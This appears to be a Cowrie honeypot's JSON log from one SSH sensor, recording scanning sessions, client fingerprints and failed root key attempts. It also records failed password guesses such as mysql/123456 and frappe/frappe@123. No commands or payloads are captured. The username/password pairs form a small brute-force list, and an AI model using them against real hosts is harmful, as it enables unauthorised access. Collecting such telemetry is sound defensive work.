{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:b3:6e:1a:b7:1c:73:de:34:b7:80:64:42:2b:0e:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLKhpFyZZjCU8bBb9ykY2+d58wLJToHamxXRQ05ln32Xyxfy3epor7xpHBHwv0vfdf4dsICUG4kec/NXqBV4AFThgPc8FODqxKoE2Bujbd+tdy4uVX7NH/4RbaZXIu77ovOVw5JZEFhqQCbv1GCX+OzAtMAGAWCmg50J4ax2odMGyc3N+rraqBTjrsIs3TXEPPi1+cruX97dCWxwj+rdwGgQe/vGVpC8iPAEdpQDjLwL64yPGyNk+ojgWfLChfh10WuX70YXKAFrOT+CS5yoXeiiq6BaS2FALYlcr+Uj5bH4oVLDcyDt/mbZy01oR0ahNI1L6vJqTKULsdyEmDD3jp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:b3:6e:1a:b7:1c:73:de:34:b7:80:64:42:2b:0e:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.927508Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:b3:6e:1a:b7:1c:73:de:34:b7:80:64:42:2b:0e:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLKhpFyZZjCU8bBb9ykY2+d58wLJToHamxXRQ05ln32Xyxfy3epor7xpHBHwv0vfdf4dsICUG4kec/NXqBV4AFThgPc8FODqxKoE2Bujbd+tdy4uVX7NH/4RbaZXIu77ovOVw5JZEFhqQCbv1GCX+OzAtMAGAWCmg50J4ax2odMGyc3N+rraqBTjrsIs3TXEPPi1+cruX97dCWxwj+rdwGgQe/vGVpC8iPAEdpQDjLwL64yPGyNk+ojgWfLChfh10WuX70YXKAFrOT+CS5yoXeiiq6BaS2FALYlcr+Uj5bH4oVLDcyDt/mbZy01oR0ahNI1L6vJqTKULsdyEmDD3jp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.930499Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ab:75:f8:79:d2:59:c2:d8:fb:05:3b:3f:8a:c3:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL4lFSGZCjVdbBEkTwb2qbmMAnx+ZS12WrmANRubXU4JoaqFO+g+nMfcDHdLCOCWhF484MLgIhfYyNXv1AZx4ip7GqQ9/D4UzhWw6rFZsVG3O66Cl/dg9fm2jwK7sr1kd5KOVoB4CM65Rl0plBmVtdRDG9ynf1hVY+oFz8jY3G2a+5cC8mPZhHZzO1UK7J7NPSFja8O4xmbKlGe92w8yrBIHFbgk3B6e8PS2pV4fFGllgU8wCg+4JHAlpFcDJXZc4Mk5IEEtwO6kYRkPSc6ezTlkwyFDBRcy1EMuYh8tyOhn8j6okhm5srvA5F04w29bH53sTeE529MlO9snrRN0TV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ab:75:f8:79:d2:59:c2:d8:fb:05:3b:3f:8a:c3:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.998921Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ab:75:f8:79:d2:59:c2:d8:fb:05:3b:3f:8a:c3:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL4lFSGZCjVdbBEkTwb2qbmMAnx+ZS12WrmANRubXU4JoaqFO+g+nMfcDHdLCOCWhF484MLgIhfYyNXv1AZx4ip7GqQ9/D4UzhWw6rFZsVG3O66Cl/dg9fm2jwK7sr1kd5KOVoB4CM65Rl0plBmVtdRDG9ynf1hVY+oFz8jY3G2a+5cC8mPZhHZzO1UK7J7NPSFja8O4xmbKlGe92w8yrBIHFbgk3B6e8PS2pV4fFGllgU8wCg+4JHAlpFcDJXZc4Mk5IEEtwO6kYRkPSc6ezTlkwyFDBRcy1EMuYh8tyOhn8j6okhm5srvA5F04w29bH53sTeE529MlO9snrRN0TV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:00.001400Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:00.079332Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40956,"dst_ip":"159.203.135.109","dst_port":22,"session":"77be1012789f","protocol":"ssh","message":"New connection: 80.94.92.184:40956 (159.203.135.109:22) [session: 77be1012789f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:01.290004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:01.349225Z","src_ip":"80.94.92.184","session":"77be1012789f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:01.743072Z","src_ip":"80.94.92.184","session":"77be1012789f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:03.035578Z","src_ip":"80.94.92.184","session":"77be1012789f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34966,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbae97b76591","protocol":"ssh","message":"New connection: 45.156.87.147:34966 (10.17.0.5:22) [session: bbae97b76591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:03.515089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:03.519570Z","src_ip":"45.156.87.147","session":"bbae97b76591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:03.606326Z","src_ip":"45.156.87.147","session":"bbae97b76591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:03.860366Z","src_ip":"45.156.87.147","session":"bbae97b76591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:04.323832Z","src_ip":"80.94.92.184","session":"77be1012789f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:04.945419Z","src_ip":"45.156.87.147","session":"bbae97b76591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00253081321716,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:06.423297Z","src_ip":"94.23.66.112","session":"d5eb8efb3af3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56522,"dst_ip":"10.17.0.5","dst_port":22,"session":"485942322991","protocol":"ssh","message":"New connection: 45.156.87.147:56522 (10.17.0.5:22) [session: 485942322991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:09.620814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:09.624849Z","src_ip":"45.156.87.147","session":"485942322991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:09.716199Z","src_ip":"45.156.87.147","session":"485942322991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:09.978309Z","src_ip":"45.156.87.147","session":"485942322991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:11.067713Z","src_ip":"45.156.87.147","session":"485942322991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":54278,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c3c7975a85f","protocol":"ssh","message":"New connection: 8.219.200.1:54278 (10.17.0.5:22) [session: 0c3c7975a85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:14.820862Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56528,"dst_ip":"10.17.0.5","dst_port":22,"session":"613724f97057","protocol":"ssh","message":"New connection: 45.156.87.147:56528 (10.17.0.5:22) [session: 613724f97057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:15.693723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:15.698241Z","src_ip":"45.156.87.147","session":"613724f97057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:15.784328Z","src_ip":"45.156.87.147","session":"613724f97057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:16.038792Z","src_ip":"45.156.87.147","session":"613724f97057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:17.126627Z","src_ip":"45.156.87.147","session":"613724f97057","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:17.321501Z","src_ip":"8.219.200.1","session":"0c3c7975a85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:17.555405Z","src_ip":"8.219.200.1","session":"0c3c7975a85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60954,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1a240658775","protocol":"ssh","message":"New connection: 45.156.87.147:60954 (10.17.0.5:22) [session: a1a240658775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:21.652458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:21.657276Z","src_ip":"45.156.87.147","session":"a1a240658775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:21.735188Z","src_ip":"45.156.87.147","session":"a1a240658775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:22.213411Z","src_ip":"45.156.87.147","session":"a1a240658775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:23.299805Z","src_ip":"45.156.87.147","session":"a1a240658775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":34242,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb285e0369ae","protocol":"ssh","message":"New connection: 8.219.200.1:34242 (10.17.0.5:22) [session: bb285e0369ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:25.583641Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60966,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ffcc945aad","protocol":"ssh","message":"New connection: 45.156.87.147:60966 (10.17.0.5:22) [session: f4ffcc945aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:27.622673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:27.626651Z","src_ip":"45.156.87.147","session":"f4ffcc945aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:27.707390Z","src_ip":"45.156.87.147","session":"f4ffcc945aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:27.958882Z","src_ip":"45.156.87.147","session":"f4ffcc945aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:18:29.097412Z","src_ip":"45.156.87.147","session":"f4ffcc945aad","protocol":"ssh"}
